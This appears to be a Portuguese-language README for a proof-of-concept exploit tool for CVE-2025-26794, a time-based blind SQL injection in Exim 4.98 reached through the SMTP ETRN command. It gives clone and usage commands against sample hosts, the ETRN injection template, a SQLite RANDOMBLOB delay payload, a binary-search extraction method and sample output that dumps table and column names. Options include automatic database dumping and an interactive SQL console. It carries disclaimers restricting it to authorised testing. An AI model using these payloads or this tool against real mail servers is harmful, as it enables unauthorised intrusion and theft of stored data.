
Exploit de injeção SQL para CVE-2025-26794 no Exim 4.98. Extração automatizada de dados via SQLi cego baseado em tempo. Apenas para testes de penetração autorizados.
Uma ferramenta de exploit de prova de conceito para CVE-2025-26794, demonstrando a vulnerabilidade de injeção SQL no servidor de e-mail Exim 4.98 através do comando ETRN quando se usa armazenamento DBM SQLite.
APENAS PARA TESTES DE SEGURANÇA AUTORIZADOS
Esta ferramenta é fornecida apenas para fins educacionais e testes de penetração autorizados. O acesso não autorizado a sistemas de computador é ilegal sob diversas leis, incluindo:
Você deve ter autorização explícita por escrito antes de testar qualquer sistema que não possua.
Os autores e colaboradores não assumem qualquer responsabilidade por uso indevido ou danos causados por esta ferramenta.
CVE-2025-26794 é uma vulnerabilidade de injeção SQL no Exim 4.98 que ocorre quando:
Esta vulnerabilidade permite que atacantes:
# Clone the repository
git clone https://github.com/XploitGh0st/CVE-2025-26794-exploit.git
cd CVE-2025-26794-exploit
# Install dependencies (none required - uses standard library only)
pip install -r requirements.txt
# Make script executable (Linux/Mac)
chmod +x exploit.py
python3 exploit.py <target> [options]
python3 exploit.py 192.168.1.10 --test-only
python3 exploit.py mail.example.com --auto-dump
python3 exploit.py 10.0.0.5 --interactive
python3 exploit.py 192.168.1.10 --table users --columns
python3 exploit.py 192.168.1.10 --query "SELECT sqlite_version()"
ETRN #',1); <MALICIOUS_QUERY> /*
O payload explora a sanitização inadequada no manipulador de serialização do ETRN, permitindo injeção SQL em consultas SQLite.
Utiliza atraso de tempo específico do SQLite:
SELECT 1 FROM tbl WHERE 1234=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(500000000/2))))
Isso cria um atraso mensurável (~1-2 segundos) quando a condição é verdadeira.
╔═══════════════════════════════════════════════════════════╗
║ CVE-2025-26794: Exim SQLi Data Extraction Tool ║
║ FOR AUTHORIZED USE ONLY ║
╚═══════════════════════════════════════════════════════════╝
[*] Testing vulnerability...
[+] Normal response time: 0.123s
[+] Delayed response time: 1.456s
[!!!] VULNERABLE - Time difference: 1.333s
[*] Extracting table names...
[*] Extracting table 1...
[+] Extracted: users
[+] Found table: users
[*] Extracting columns from table 'users'...
[+] Found column: id
[+] Found column: username
[+] Found column: email
Se você estiver executando o Exim 4.98 com DBM SQLite:
O exploit usa busca binária para extrair caracteres de forma eficiente:
unicode(): Obter o valor ASCII do caracteresubstr(): Extrair substring do resultadosqlite_master: Tabela do sistema para enumeração de esquemapragma_table_info(): Extração de metadados de colunasContribuições são bem-vindas para:
Por favor, garanta que todas as contribuições incluam:
Este projeto é disponibilizado apenas para fins educacionais. Use com responsabilidade e legalidade.
XploitGh0st
Se você descobrir vulnerabilidades usando esta ferramenta:
Lembre-se: Com grandes poderes vêm grandes responsabilidades. Use esta ferramenta de forma ética e legal.
| Opção | Descrição |
|---|
host | Nome do host ou endereço IP do alvo (obrigatório) |
-p, --port | Porta SMTP (padrão: 25) |
-t, --timeout | Timeout do socket em segundos (padrão: 30) |
--threshold | Limiar de atraso de tempo para detecção (padrão: 0.8s) |
--test-only | Apenas testar a vulnerabilidade, sem extração de dados |
--auto-dump | Despejar automaticamente a estrutura e os dados do banco de dados |
--interactive | Iniciar console interativo de consulta SQL |
--table TABLE | Selecionar tabela específica para extração |
--columns | Extrair nomes de colunas (use com --table) |
--query QUERY | Executar consulta SQL personalizada |